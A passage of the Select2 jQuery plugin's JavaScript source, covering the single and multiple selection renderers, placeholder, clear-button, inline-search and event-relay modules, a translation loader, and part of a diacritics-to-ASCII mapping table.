self.$selection.removeAttr('aria-owns'); self.$selection.focus(); self._detachCloseHandler(container); }); container.on('enable', function () { self.$selection.attr('tabindex', self._tabindex); }); container.on('disable', function () { self.$selection.attr('tabindex', '-1'); }); }; BaseSelection.prototype._handleBlur = function (evt) { var self = this; // This needs to be delayed as the active element is the body when the tab // key is pressed, possibly along with others. window.setTimeout(function () { // Don't trigger `blur` if the focus is still in the selection if ( (document.activeElement == self.$selection[0]) || ($.contains(self.$selection[0], document.activeElement)) ) { return; } self.trigger('blur', evt); }, 1); }; BaseSelection.prototype._attachCloseHandler = function (container) { var self = this; $(document.body).on('mousedown.select2.' + container.id, function (e) { var $target = $(e.target); var $select = $target.closest('.select2'); var $all = $('.select2.select2-container--open'); $all.each(function () { var $this = $(this); if (this == $select[0]) { return; } var $element = $this.data('element'); $element.select2('close'); }); }); }; BaseSelection.prototype._detachCloseHandler = function (container) { $(document.body).off('mousedown.select2.' + container.id); }; BaseSelection.prototype.position = function ($selection, $container) { var $selectionContainer = $container.find('.selection'); $selectionContainer.append($selection); }; BaseSelection.prototype.destroy = function () { this._detachCloseHandler(this.container); }; BaseSelection.prototype.update = function (data) { throw new Error('The `update` method must be defined in child classes.'); }; return BaseSelection; }); S2.define('select2/selection/single',[ 'jquery', './base', '../utils', '../keys' ], function ($, BaseSelection, Utils, KEYS) { function SingleSelection () { SingleSelection.__super__.constructor.apply(this, arguments); } Utils.Extend(SingleSelection, BaseSelection); SingleSelection.prototype.render = function () { var $selection = SingleSelection.__super__.render.call(this); $selection.addClass('select2-selection--single'); $selection.html( '<span class="select2-selection__rendered"></span>' + '<span class="select2-selection__arrow" role="presentation">' + '<b role="presentation"></b>' + '</span>' ); return $selection; }; SingleSelection.prototype.bind = function (container, $container) { var self = this; SingleSelection.__super__.bind.apply(this, arguments); var id = container.id + '-container'; this.$selection.find('.select2-selection__rendered').attr('id', id); this.$selection.attr('aria-labelledby', id); this.$selection.on('mousedown', function (evt) { // Only respond to left clicks if (evt.which !== 1) { return; } self.trigger('toggle', { originalEvent: evt }); }); this.$selection.on('focus', function (evt) { // User focuses on the container }); this.$selection.on('blur', function (evt) { // User exits the container }); container.on('focus', function (evt) { if (!container.isOpen()) { self.$selection.focus(); } }); container.on('selection:update', function (params) { self.update(params.data); }); }; SingleSelection.prototype.clear = function () { this.$selection.find('.select2-selection__rendered').empty(); }; SingleSelection.prototype.display = function (data, container) { var template = this.options.get('templateSelection'); var escapeMarkup = this.options.get('escapeMarkup'); return escapeMarkup(template(data, container)); }; SingleSelection.prototype.selectionContainer = function () { return $('<span></span>'); }; SingleSelection.prototype.update = function (data) { if (data.length === 0) { this.clear(); return; } var selection = data[0]; var $rendered = this.$selection.find('.select2-selection__rendered'); var formatted = Utils.entityDecode(this.display(selection, $rendered)); $rendered.empty().text(formatted); $rendered.prop('title', selection.title || selection.text); }; return SingleSelection; }); S2.define('select2/selection/multiple',[ 'jquery', './base', '../utils' ], function ($, BaseSelection, Utils) { function MultipleSelection ($element, options) { MultipleSelection.__super__.constructor.apply(this, arguments); } Utils.Extend(MultipleSelection, BaseSelection); MultipleSelection.prototype.render = function () { var $selection = MultipleSelection.__super__.render.call(this); $selection.addClass('select2-selection--multiple'); $selection.html( '<ul class="select2-selection__rendered"></ul>' ); return $selection; }; MultipleSelection.prototype.bind = function (container, $container) { var self = this; MultipleSelection.__super__.bind.apply(this, arguments); this.$selection.on('click', function (evt) { self.trigger('toggle', { originalEvent: evt }); }); this.$selection.on( 'click', '.select2-selection__choice__remove', function (evt) { // Ignore the event if it is disabled if (self.options.get('disabled')) { return; } var $remove = $(this); var $selection = $remove.parent(); var data = $selection.data('data'); self.trigger('unselect', { originalEvent: evt, data: data }); } ); }; MultipleSelection.prototype.clear = function () { this.$selection.find('.select2-selection__rendered').empty(); }; MultipleSelection.prototype.display = function (data, container) { var template = this.options.get('templateSelection'); var escapeMarkup = this.options.get('escapeMarkup'); return escapeMarkup(template(data, container)); }; MultipleSelection.prototype.selectionContainer = function () { var $container = $( '<li class="select2-selection__choice">' + '<span class="select2-selection__choice__remove" role="presentation">' + '×' + '</span>' + '</li>' ); return $container; }; MultipleSelection.prototype.update = function (data) { this.clear(); if (data.length === 0) { return; } var $selections = []; for (var d = 0; d < data.length; d++) { var selection = data[d]; var $selection = this.selectionContainer(); var formatted = this.display(selection, $selection); $selection.append(formatted); $selection.prop('title', selection.title || selection.text); $selection.data('data', selection); $selections.push($selection); } var $rendered = this.$selection.find('.select2-selection__rendered'); Utils.appendMany($rendered, $selections); }; return MultipleSelection; }); S2.define('select2/selection/placeholder',[ '../utils' ], function (Utils) { function Placeholder (decorated, $element, options) { this.placeholder = this.normalizePlaceholder(options.get('placeholder')); decorated.call(this, $element, options); } Placeholder.prototype.normalizePlaceholder = function (_, placeholder) { if (typeof placeholder === 'string') { placeholder = { id: '', text: placeholder }; } return placeholder; }; Placeholder.prototype.createPlaceholder = function (decorated, placeholder) { var $placeholder = this.selectionContainer(); $placeholder.text(Utils.entityDecode(this.display(placeholder))); $placeholder.addClass('select2-selection__placeholder') .removeClass('select2-selection__choice'); return $placeholder; }; Placeholder.prototype.update = function (decorated, data) { var singlePlaceholder = ( data.length == 1 && data[0].id != this.placeholder.id ); var multipleSelections = data.length > 1; if (multipleSelections || singlePlaceholder) { return decorated.call(this, data); } this.clear(); var $placeholder = this.createPlaceholder(this.placeholder); this.$selection.find('.select2-selection__rendered').append($placeholder); }; return Placeholder; }); S2.define('select2/selection/allowClear',[ 'jquery', '../keys' ], function ($, KEYS) { function AllowClear () { } AllowClear.prototype.bind = function (decorated, container, $container) { var self = this; decorated.call(this, container, $container); if (this.placeholder == null) { if (this.options.get('debug') && window.console && console.error) { console.error( 'Select2: The `allowClear` option should be used in combination ' + 'with the `placeholder` option.' ); } } this.$selection.on('mousedown', '.select2-selection__clear', function (evt) { self._handleClear(evt); }); container.on('keypress', function (evt) { self._handleKeyboardClear(evt, container); }); }; AllowClear.prototype._handleClear = function (_, evt) { // Ignore the event if it is disabled if (this.options.get('disabled')) { return; } var $clear = this.$selection.find('.select2-selection__clear'); // Ignore the event if nothing has been selected if ($clear.length === 0) { return; } evt.stopPropagation(); var data = $clear.data('data'); for (var d = 0; d < data.length; d++) { var unselectData = { data: data[d] }; // Trigger the `unselect` event, so people can prevent it from being // cleared. this.trigger('unselect', unselectData); // If the event was prevented, don't clear it out. if (unselectData.prevented) { return; } } this.$element.val(this.placeholder.id).trigger('change'); this.trigger('toggle', {}); }; AllowClear.prototype._handleKeyboardClear = function (_, evt, container) { if (container.isOpen()) { return; } if (evt.which == KEYS.DELETE || evt.which == KEYS.BACKSPACE) { this._handleClear(evt); } }; AllowClear.prototype.update = function (decorated, data) { decorated.call(this, data); if (this.$selection.find('.select2-selection__placeholder').length > 0 || data.length === 0) { return; } var $remove = $( '<span class="select2-selection__clear">' + '×' + '</span>' ); $remove.data('data', data); this.$selection.find('.select2-selection__rendered').prepend($remove); }; return AllowClear; }); S2.define('select2/selection/search',[ 'jquery', '../utils', '../keys' ], function ($, Utils, KEYS) { function Search (decorated, $element, options) { decorated.call(this, $element, options); } Search.prototype.render = function (decorated) { var $search = $( '<li class="select2-search select2-search--inline">' + '<input class="select2-search__field" type="search" tabindex="-1"' + ' autocomplete="off" autocorrect="off" autocapitalize="none"' + ' spellcheck="false" role="textbox" aria-autocomplete="list" />' + '</li>' ); this.$searchContainer = $search; this.$search = $search.find('input'); var $rendered = decorated.call(this); this._transferTabIndex(); return $rendered; }; Search.prototype.bind = function (decorated, container, $container) { var self = this; decorated.call(this, container, $container); container.on('open', function () { self.$search.trigger('focus'); }); container.on('close', function () { self.$search.val(''); self.$search.removeAttr('aria-activedescendant'); self.$search.trigger('focus'); }); container.on('enable', function () { self.$search.prop('disabled', false); self._transferTabIndex(); }); container.on('disable', function () { self.$search.prop('disabled', true); }); container.on('focus', function (evt) { self.$search.trigger('focus'); }); container.on('results:focus', function (params) { self.$search.attr('aria-activedescendant', params.id); }); this.$selection.on('focusin', '.select2-search--inline', function (evt) { self.trigger('focus', evt); }); this.$selection.on('focusout', '.select2-search--inline', function (evt) { self._handleBlur(evt); }); this.$selection.on('keydown', '.select2-search--inline', function (evt) { evt.stopPropagation(); self.trigger('keypress', evt); self._keyUpPrevented = evt.isDefaultPrevented(); var key = evt.which; if (key === KEYS.BACKSPACE && self.$search.val() === '') { var $previousChoice = self.$searchContainer .prev('.select2-selection__choice'); if ($previousChoice.length > 0) { var item = $previousChoice.data('data'); self.searchRemoveChoice(item); evt.preventDefault(); } } }); // Try to detect the IE version should the `documentMode` property that // is stored on the document. This is only implemented in IE and is // slightly cleaner than doing a user agent check. // This property is not available in Edge, but Edge also doesn't have // this bug. var msie = document.documentMode; var disableInputEvents = msie && msie <= 11; // Workaround for browsers which do not support the `input` event // This will prevent double-triggering of events for browsers which support // both the `keyup` and `input` events. this.$selection.on( 'input.searchcheck', '.select2-search--inline', function (evt) { // IE will trigger the `input` event when a placeholder is used on a // search box. To get around this issue, we are forced to ignore all // `input` events in IE and keep using `keyup`. if (disableInputEvents) { self.$selection.off('input.search input.searchcheck'); return; } // Unbind the duplicated `keyup` event self.$selection.off('keyup.search'); } ); this.$selection.on( 'keyup.search input.search', '.select2-search--inline', function (evt) { // IE will trigger the `input` event when a placeholder is used on a // search box. To get around this issue, we are forced to ignore all // `input` events in IE and keep using `keyup`. if (disableInputEvents && evt.type === 'input') { self.$selection.off('input.search input.searchcheck'); return; } var key = evt.which; // We can freely ignore events from modifier keys if (key == KEYS.SHIFT || key == KEYS.CTRL || key == KEYS.ALT) { return; } // Tabbing will be handled during the `keydown` phase if (key == KEYS.TAB) { return; } self.handleSearch(evt); } ); }; /** * This method will transfer the tabindex attribute from the rendered * selection to the search box. This allows for the search box to be used as * the primary focus instead of the selection container. * * @private */ Search.prototype._transferTabIndex = function (decorated) { this.$search.attr('tabindex', this.$selection.attr('tabindex')); this.$selection.attr('tabindex', '-1'); }; Search.prototype.createPlaceholder = function (decorated, placeholder) { this.$search.attr('placeholder', placeholder.text); }; Search.prototype.update = function (decorated, data) { var searchHadFocus = this.$search[0] == document.activeElement; this.$search.attr('placeholder', ''); decorated.call(this, data); this.$selection.find('.select2-selection__rendered') .append(this.$searchContainer); this.resizeSearch(); if (searchHadFocus) { this.$search.focus(); } }; Search.prototype.handleSearch = function () { this.resizeSearch(); if (!this._keyUpPrevented) { var input = this.$search.val(); this.trigger('query', { term: input }); } this._keyUpPrevented = false; }; Search.prototype.searchRemoveChoice = function (decorated, item) { this.trigger('unselect', { data: item }); this.$search.val(item.text); this.handleSearch(); }; Search.prototype.resizeSearch = function () { this.$search.css('width', '25px'); var width = ''; if (this.$search.attr('placeholder') !== '') { width = this.$selection.find('.select2-selection__rendered').innerWidth(); } else { var minimumWidth = this.$search.val().length + 1; width = (minimumWidth * 0.75) + 'em'; } this.$search.css('width', width); }; return Search; }); S2.define('select2/selection/eventRelay',[ 'jquery' ], function ($) { function EventRelay () { } EventRelay.prototype.bind = function (decorated, container, $container) { var self = this; var relayEvents = [ 'open', 'opening', 'close', 'closing', 'select', 'selecting', 'unselect', 'unselecting' ]; var preventableEvents = ['opening', 'closing', 'selecting', 'unselecting']; decorated.call(this, container, $container); container.on('*', function (name, params) { // Ignore events that should not be relayed if ($.inArray(name, relayEvents) === -1) { return; } // The parameters should always be an object params = params || {}; // Generate the jQuery event for the Select2 event var evt = $.Event('select2:' + name, { params: params }); self.$element.trigger(evt); // Only handle preventable events if it was one if ($.inArray(name, preventableEvents) === -1) { return; } params.prevented = evt.isDefaultPrevented(); }); }; return EventRelay; }); S2.define('select2/translation',[ 'jquery', 'require' ], function ($, require) { function Translation (dict) { this.dict = dict || {}; } Translation.prototype.all = function () { return this.dict; }; Translation.prototype.get = function (key) { return this.dict[key]; }; Translation.prototype.extend = function (translation) { this.dict = $.extend({}, translation.all(), this.dict); }; // Static functions Translation._cache = {}; Translation.loadPath = function (path) { if (!(path in Translation._cache)) { var translations = require(path); Translation._cache[path] = translations; } return new Translation(Translation._cache[path]); }; return Translation; }); S2.define('select2/diacritics',[ ], function () { var diacritics = { '\u24B6': 'A', '\uFF21': 'A', '\u00C0': 'A', '\u00C1': 'A', '\u00C2': 'A', '\u1EA6': 'A', '\u1EA4': 'A', '\u1EAA': 'A', '\u1EA8': 'A', '\u00C3': 'A', '\u0100': 'A', '\u0102': 'A', '\u1EB0': 'A', '\u1EAE': 'A', '\u1EB4': 'A', '\u1EB2': 'A', '\u0226': 'A', '\u01E0': 'A', '\u00C4': 'A', '\u01DE': 'A', '\u1EA2': 'A', '\u00C5': 'A', '\u01FA': 'A', '\u01CD': 'A', '\u0200': 'A', '\u0202': 'A', '\u1EA0': 'A', '\u1EAC': 'A', '\u1EB6': 'A', '\u1E00': 'A', '\u0104': 'A', '\u023A': 'A', '\u2C6F': 'A', '\uA732': 'AA', '\u00C6': 'AE', '\u01FC': 'AE', '\u01E2': 'AE', '\uA734': 'AO', '\uA736': 'AU', '\uA738': 'AV', '\uA73A': 'AV', '\uA73C': 'AY', '\u24B7': 'B', '\uFF22': 'B', '\u1E02': 'B', '\u1E04': 'B', '\u1E06': 'B', '\u0243': 'B', '\u0182': 'B', '\u0181': 'B', '\u24B8': 'C', '\uFF23': 'C', '\u0106': 'C', '\u0108': 'C', '\u010A': 'C', '\u010C': 'C', '\u00C7': 'C', '\u1E08': 'C', '\u0187': 'C', '\u023B': 'C', '\uA73E': 'C', '\u24B9': 'D', '\uFF24': 'D', '\u1E0A': 'D', '\u010E': 'D', '\u1E0C': 'D', '\u1E10': 'D', '\u1E12': 'D', '\u1E0E': 'D', '\u0110': 'D', '\u018B': 'D', '\u018A': 'D', '\u0189': 'D', '\uA779': 'D', '\u01F1': 'DZ', '\u01C4': 'DZ', '\u01F2': 'Dz', '\u01C5': 'Dz', '\u24BA': 'E', '\uFF25': 'E', '\u00C8': 'E', '\u00C9': 'E', '\u00CA': 'E', '\u1EC0': 'E', '\u1EBE': 'E', '\u1EC4': 'E', '\u1EC2': 'E', '\u1EBC': 'E', '\u0112': 'E', '\u1E14': 'E', '\u1E16': 'E', '\u0114': 'E', '\u0116': 'E', '\u00CB': 'E', '\u1EBA': 'E', '\u011A': 'E', '\u0204': 'E', '\u0206': 'E', '\u1EB8': 'E', '\u1EC6': 'E', '\u0228': 'E', '\u1E1C': 'E', '\u0118': 'E', '\u1E18': 'E', '\u1E1A': 'E', '\u0190': 'E', '\u018E': 'E', '\u24BB': 'F', '\uFF26': 'F', '\u1E1E': 'F', '\u0191': 'F', '\uA77B': 'F', '\u24BC': 'G', '\uFF27': 'G', '\u01F4': 'G', '\u011C': 'G', '\u1E20': 'G', '\u011E': 'G', '\u0120': 'G', '\u01E6': 'G', '\u0122': 'G', '\u01E4': 'G', '\u0193': 'G', '\uA7A0': 'G', '\uA77D': 'G', '\uA77E': 'G', '\u24BD': 'H', '\uFF28': 'H', '\u0124': 'H', '\u1E22': 'H', '\u1E26': 'H', '\u021E': 'H', '\u1E24': 'H', '\u1E28': 'H', '\u1E2A': 'H', '\u0126': 'H', '\u2C67': 'H', '\u2C75': 'H', '\uA78D': 'H', '\u24BE': 'I', '\uFF29': 'I', '\u00CC': 'I', '\u00CD': 'I', '\u00CE': 'I', '\u0128': 'I', '\u012A': 'I', '\u012C': 'I', '\u0130': 'I', '\u00CF': 'I', '\u1E2E': 'I', '\u1EC8': 'I', '\u01CF': 'I', '\u0208': 'I', '\u020A': 'I', '\u1ECA': 'I', '\u012E': 'I', '\u1E2C': 'I', '\u0197': 'I', '\u24BF': 'J', '\uFF2A': 'J', '\u0134': 'J', '\u0248': 'J', '\u24C0': 'K', '\uFF2B': 'K', '\u1E30': 'K', '\u01E8': 'K', '\u1E32': 'K', '\u0136': 'K', '\u1E34': 'K', '\u0198': 'K', '\u2C69': 'K', '\uA740': 'K', '\uA742': 'K', '\uA744': 'K', '\uA7A2': 'K', '\u24C1': 'L', '\uFF2C': 'L', '\u013F': 'L', '\u0139': 'L', '\u013D': 'L', '\u1E36': 'L', '\u1E38': 'L', '\u013B': 'L', '\u1E3C': 'L', '\u1E3A': 'L', '\u0141': 'L', '\u023D': 'L', '\u2C62': 'L', '\u2C60': 'L', '\uA748': 'L', '\uA746': 'L', '\uA780': 'L', '\u01C7': 'LJ', '\u01C8': 'Lj', '\u24C2': 'M', '\uFF2D': 'M', '\u1E3E': 'M', '\u1E40': 'M', '\u1E42': 'M', '\u2C6E': 'M', '\u019C': 'M', '\u24C3': 'N', '\uFF2E': 'N', '\u01F8': 'N', '\u0143': 'N', '\u00D1': 'N', '\u1E44': 'N', '\u0147': 'N', '\u1E46': 'N', '\u0145': 'N', '\u1E4A': 'N', '\u1E48': 'N', '\u0220': 'N', '\u019D': 'N', '\uA790': 'N', '\uA7A4': 'N', '\u01CA': 'NJ', '\u01CB': 'Nj', '\u24C4': 'O', '\uFF2F': 'O', '\u00D2': 'O', '\u00D3': 'O', '\u00D4': 'O', '\u1ED2': 'O', '\u1ED0': 'O', '\u1ED6': 'O', '\u1ED4': 'O', '\u00D5': 'O', '\u1E4C': 'O', '\u022C': 'O', '\u1E4E': 'O', '\u014C': 'O', '\u1E50': 'O', '\u1E52': 'O', '\u014E': 'O', '\u022E': 'O', '\u0230': 'O', '\u00D6': 'O', '\u022A': 'O', '\u1ECE': 'O', '\u0150': 'O', '\u01D1': 'O', '\u020C': 'O', '\u020E': 'O', '\u01A0': 'O', '\u1EDC': 'O', '\u1EDA': 'O', '\u1EE0': 'O', '\u1EDE': 'O', '\u1EE2': 'O', '\u1ECC': 'O', '\u1ED8': 'O', '\u01EA': 'O', '\u01EC': 'O', '\u00D8': 'O', '\u01FE': 'O', '\u0186': 'O', '\u019F': 'O', '\uA74A': 'O', '\uA74C': 'O', '\u01A2': 'OI', '\uA74E': 'OO', '\u0222': 'OU', '\u24C5': 'P', '\uFF30': 'P', '\u1E54': 'P', '\u1E56': 'P', '\u01A4': 'P', '\u2C63': 'P', '\uA750': 'P', '\uA752': 'P', '\uA754': 'P', '\u24C6': 'Q', '\uFF31': 'Q', '\uA756': 'Q', '\uA758': 'Q', '\u024A': 'Q', '\u24C7': 'R', '\uFF32': 'R', '\u0154': 'R', '\u1E58': 'R', '\u0158': 'R', '\u0210': 'R', '\u0212': 'R', '\u1E5A': 'R', '\u1E5C': 'R', '\u0156': 'R', '\u1E5E': 'R', '\u024C': 'R', '\u2C64': 'R', '\uA75A': 'R', '\uA7A6': 'R', '\uA782': 'R', '\u24C8': 'S', '\uFF33': 'S', '\u1E9E': 'S', '\u015A': 'S', '\u1E64': 'S', '\u015C': 'S', '\u1E60': 'S', '\u0160': 'S', '\u1E66': 'S', '\u1E62': 'S', '\u1E68': 'S', '\u0218': 'S', '\u015E': 'S', '\u2C7E': 'S', '\uA7A8': 'S', '\uA784': 'S', '\u24C9': 'T', '\uFF34': 'T', '\u1E6A': 'T', '\u0164': 'T', '\u1E6C': 'T', '\u021A': 'T', '\u0162': 'T', '\u1E70': 'T', '\u1E6E': 'T', '\u0166': 'T', '\u01AC': 'T', '\u01AE': 'T', '\u023E': 'T', '\uA786': 'T', '\uA728': 'TZ', '\u24CA': 'U', '\uFF35': 'U', '\u00D9': 'U', '\u00DA': 'U', '\u00DB': 'U', '\u0168': 'U', '\u1E78': 'U', '\u016A': 'U', '\u1E7A': 'U', '\u016C': 'U', '\u00DC': 'U', '\u01DB': 'U', '\u01D7': 'U', '\u01D5': 'U', '\u01D9': 'U', '\u1EE6': 'U', '\u016E': 'U', '\u0170': 'U', '\u01D3': 'U', '\u0214': 'U', '\u0216': 'U', '\u01AF': 'U', '\u1EEA': 'U', '\u1EE8': 'U', '\u1EEE': 'U', '\u1EEC': 'U', '\u1EF0': 'U', '\u1EE4': 'U', '\u1E72': 'U', '\u0172': 'U', '\u1E76': 'U', '\u1E74': 'U', '\u0244': 'U', '\u24CB': 'V', '\uFF36': 'V', '\u1E7C': 'V', '\u1E7E': 'V', '\u01B2': 'V', '\uA75E': 'V', '\u0245': 'V', '\uA760': 'VY', '\u24CC': 'W', '\uFF37': 'W', '\u1E80': 'W', '\u1E82': 'W', '\u0174': 'W', '\u1E86': 'W', '\u1E84': 'W', '\u1E88': 'W', '\u2C72': 'W', '\u24CD': 'X', '\uFF38': 'X', '\u1E8A': 'X', '\u1E8C': 'X', '\u24CE': 'Y', '\uFF39': 'Y', '\u1EF2': 'Y', '\u00DD': 'Y', '\u0176': 'Y', '\u1EF8': 'Y', '\u0232': 'Y', '\u1E8E': 'Y', '\u0178': 'Y', '\u1EF6': 'Y', '\u1EF4': 'Y', '\u01B3': 'Y', '\u024E': 'Y', '\u1EFE': 'Y', '\u24CF': 'Z', '\uFF3A': 'Z', '\u0179': 'Z', '\u1E90': 'Z', '\u017B': 'Z', '\u017D': 'Z', '\u1E92': 'Z', '\u1E94': 'Z', '\u01B5': 'Z', '\u0224': 'Z', '\u2C7F': 'Z', '\u2C6B': 'Z', '\uA762': 'Z', '\u24D0': 'a', '\uFF41': 'a', '\u1E9A': 'a', '\u00E0': 'a', '\u00E1': 'a', '\u00E2': 'a', '\u1EA7': 'a', '\u1EA5': 'a', '\u1EAB': 'a', '\u1EA9': 'a', '\u00E3': 'a', '\u0101': 'a', '\u0103': 'a', '\u1EB1': 'a', '\u1EAF': 'a', '\u1EB5': 'a', '\u1EB3': 'a', '\u0227': 'a', '\u01E1': 'a', '\u00E4': 'a', '\u01DF': 'a', '\u1EA3': 'a', '\u00E5': 'a', '\u01FB': 'a', '\u01CE': 'a', '\u0201': 'a', '\u0203': 'a', '\u1EA1': 'a', '\u1EAD': 'a', '\u1EB7': 'a', '\u1E01': 'a', '\u0105': 'a', '\u2C65': 'a', '\u0250': 'a', '\uA733': 'aa', '\u00E6': 'ae', '\u01FD': 'ae', '\u01E3': 'ae', '\uA735': 'ao', '\uA737': 'au', '\uA739': 'av', '\uA73B': 'av', '\uA73D': 'ay', '\u24D1': 'b', '\uFF42': 'b', '\u1E03': 'b', '\u1E05': 'b', '\u1E07': 'b', '\u0180': 'b', '\u0183': 'b', '\u0253': 'b', '\u24D2': 'c', '\uFF43': 'c', '\u0107': 'c', '\u0109': 'c', '\u010B': 'c', '\u010D': 'c', '\u00E7': 'c', '\u1E09': 'c', '\u0188': 'c', '\u023C': 'c', '\uA73F': 'c', '\u2184': 'c', '\u24D3': 'd', '\uFF44': 'd', '\u1E0B': 'd', '\u010F': 'd', '\u1E0D': 'd', '\u1E11': 'd', '\u1E13': 'd', '\u1E0F': 'd', '\u0111': 'd', '\u018C': 'd', '\u0256': 'd', '\u0257': 'd', '\uA77A': 'd', '\u01F3': 'dz', '\u01C6': 'dz', '\u24D4': 'e', '\uFF45': 'e', '\u00E8': 'e', '\u00E9': 'e', '\u00EA': 'e', '\u1EC1': 'e', '\u1EBF': 'e', '\u1EC5': 'e', '\u1EC3': 'e', '\u1EBD': 'e', '\u0113': 'e', '\u1E15': 'e', '\u1E17': 'e', '\u0115': 'e', '\u0117': 'e', '\u00EB': 'e', '\u1EBB': 'e', '\u011B': 'e', '\u0205': 'e', '\u0207': 'e', '\u1EB9': 'e', '\u1EC7': 'e', '\u0229': 'e', '\u1E1D': 'e', '\u0119': 'e', '\u1E19': 'e', '\u1E1B': 'e', '\u0247': 'e', '\u025B': 'e', '\u01DD': 'e', '\u24D5': 'f', '\uFF46': 'f', '\u1E1F': 'f', '\u0192': 'f', '\uA77C': 'f', '\u24D6': 'g', '\uFF47': 'g', '\u01F5': 'g', '\u011D': 'g', '\u1E21': 'g', '\u011F': 'g', '\u0121': 'g', '\u01E7': 'g', '\u0123': 'g', '\u01E5': 'g', '\u0260': 'g', '\uA7A1': 'g', '\u1D79': 'g', '\uA77F': 'g', '\u24D7': 'h', '\uFF48': 'h', '\u0125': 'h', '\u1E23': 'h', '\u1E27': 'h', '\u021F': 'h', '\u1E25': 'h', '\u1E29': 'h', '\u1E2B': 'h', '\u1E96': 'h', '\u0127': 'h', '\u2C68': 'h', '\u2C76': 'h', '\u0265': 'h', '\u0195': 'hv', '\u24D8': 'i', '\uFF49': 'i', '\u00EC': 'i', '\u00ED': 'i', '\u00EE': 'i', '\u0129': 'i', '\u012B': 'i', '\u012D': 'i', '\u00EF': 'i', '\u1E2F': 'i', '\u1EC9': 'i', '\u01D0': 'i', '\u0209': 'i', '\u020B': 'i', '\u1ECB': 'i', '\u012F': 'i', '\u1E2D': 'i', '\u0268': 'i', '\u0131': 'i', '\u24D9': 'j', '\uFF4A': 'j', '\u0135': 'j', '\u01F0': 'j', '\u0249': 'j', '\u24DA': 'k', '\uFF4B': 'k', '\u1E31': 'k', '\u01E9': 'k', '\u1E33': 'k', '\u0137': 'k', '\u1E35': 'k', '\u0199': 'k', '\u2C6A': 'k', '\uA741': 'k', '\uA743': 'k', '\uA745': 'k', '\uA7A3': 'k', '\u24DB': 'l', '\uFF4C': 'l', '\u0140': 'l', '\u013A': 'l', '\u013E': 'l', '\u1E37': 'l', '\u1E39': 'l', '\u013C': 'l', '\u1E3D': 'l', '\u1E3B': 'l', '\u017F': 'l', '\u0142': 'l', '\u019A': 'l', '\u026B': 'l', '\u2C61': 'l', '\uA749': 'l', '\uA781': 'l', '\uA747': 'l', '\u01C9': 'lj', '\u24DC': 'm', '\uFF4D': 'm', '\u1E3F': 'm', '\u1E41': 'm', '\u1E43': 'm', '\u0271': 'm', '\u026F': 'm', '\u24DD': 'n', '\uFF4E': 'n', '\u01F9': 'n', '\u0144': 'n', '\u00F1': 'n', '\u1E45': 'n', '\u0148': 'n', '\u1E47': 'n', '\u0146': 'n', '\u1E4B': 'n', '\u1E49': 'n', '\u019E': 'n', '\u0272': 'n', '\u0149': 'n', '\uA791': 'n', '\uA7A5': 'n', '\u01CC': 'nj', '\u24DE': 'o', '\uFF4F': 'o', '\u00F2': 'o', '\u00F3': 'o', '\u00F4': 'o', '\u1ED3': 'o', '\u1ED1': 'o', '\u1ED7': 'o', '\u1ED5': 'o', '\u00F5': 'o', '\u1E4D': 'o', '\u022D': 'o', '\u1E4F': 'o', '\u014D': 'o', '\u1E51': 'o', '\u1E53': 'o', '\u014F': 'o', '\u022F': 'o', '\u0231': 'o', '\u00F6': 'o', '\u022B': 'o', '\u1ECF': 'o', '\u0151': 'o', '\u01D2': 'o', '\u020D': 'o', '\u020F': 'o', '\u01A1': 'o', '\u1EDD': 'o', '\u1EDB': 'o', '\u1EE1': 'o', '\u1EDF': 'o', '\u1EE3': 'o', '\u1ECD': 'o', '\u1ED9': 'o', '\u01EB': 'o', '\u01ED': 'o', '\u00F8': 'o', '\u01FF': 'o', '\u0254': 'o', '\uA74B': 'o', '\uA74D': 'o', '\u0275': 'o', '\u01A3': 'oi', '\u0223': 'ou', '\uA74F': 'oo', '\u24DF': 'p', '\uFF50': 'p', '\u1E55': 'p', '\u1E57': 'p', '\u01A5': 'p', '\u1D7D': 'p', '\uA751': 'p', '\uA753': 'p', '\uA755': 'p', '\u24E0': 'q', '\uFF51': 'q', '\u024B': 'q', '\uA757': 'q', '\uA759': 'q', '\u24E1': 'r', '\uFF52': 'r', '\u0155': 'r', '\u1E59': 'r', '\u0159': 'r', '\u0211': 'r', '\u0213': 'r', '\u1E5B': 'r', '\u1E5D': 'r', '\u0157': 'r', '\u1E5F': 'r', '\u024D': 'r', '\u027D': 'r', '\uA75B': 'r', '\uA7A7': 'r', '\uA783': 'r', '\u24E2': 's', '\uFF53': 's', '\u00DF': 's', '\u015B': 's', '\u1E65': 's', '\u015D': 's', '\u1E61': 's', '\u0161': 's', '\u1E67': 's', '\u1E63': 's', '\u1E69': 's', '\u0219': 's', '\u015F': 's', '\u023F': 's', '\uA7A9': 's', '\uA785': 's', '\u1E9B': 's', '\u24E3': 't', '\uFF54': 't', '\u1E6B': 't', '\u1E97': 't', '\u0165': 't', '\u1E6D': 't', '\u021B': 't', '\u0163': 't', '\u1E71': 't', '\u1E6F': 't', '\u0167': 't', '\u01AD': 't', '\u0288': 't', '\u2C66': 't', '\uA787': 't', '\uA729': 'tz', '\u24E4': 'u', '\uFF55': 'u', '\u00F9': 'u', '\u00FA': 'u', '\u00FB': 'u', '\u0169': 'u', '\u1E79': 'u', '\u016B': 'u', '\u1E7B': 'u', '\u016D': 'u', '\u00FC': 'u', '\u01DC': 'u', '\u01D8': 'u', '\u01D6': 'u', '\u01DA': 'u', '\u1EE7': 'u', '\u016F': 'u', '\u0171': 'u', '\u01D4': 'u', '\u0215': 'u', '\u0217': 'u', '\u01B0': 'u', '\u1EEB': 'u', '\u1EE9': 'u', '\u1EEF': 'u', '\u1EED': 'u', '\u1EF1': 'u', '\u1EE5': 'u', '\u1E73': 'u', '\u0173': 'u', '\u1E77': 'u', '\u1E75': 'u', '\u0289': 'u', '\u24E5': 'v', '\uFF56': 'v', '\u1E7D': 'v', '\u1E7F': 'v', '\u028B': 'v', '\uA75F': 'v', '\u028C': 'v', '\uA761': 'vy', '\u24E6': 'w', '\uFF57': 'w', '\u1E81': 'w', '\u1E83': 'w', '\u0175': 'w', '\u1E87': 'w', '\u1E85': 'w', '\u1E98': 'w', '\u1E89': 'w', '\u2C73': 'w', '\u24E7': 'x', '\uFF58': 'x', '\u1E8B': 'x', '\u1E8D': 'x', '\u24E8': 'y', '\uFF59': 'y', '\u1EF3': 'y', '\u00FD': 'y', '\u0177': 'y', '\u1EF9': 'y', '\u0233': 'y', '\u1E8F': 'y', '\u00FF': 'y', '\u1EF7': 'y', '\u1E99': 'y', '\u1EF5': 'y', '\u01B4': 'y', '\u024F': 'y', '\u1EFF': 'y', '\u24E9': 'z', '\uFF5A': 'z', '\u017A': 'z', '\u1E91': 'z', '\u017C': 'z', '\u017E': 'z', 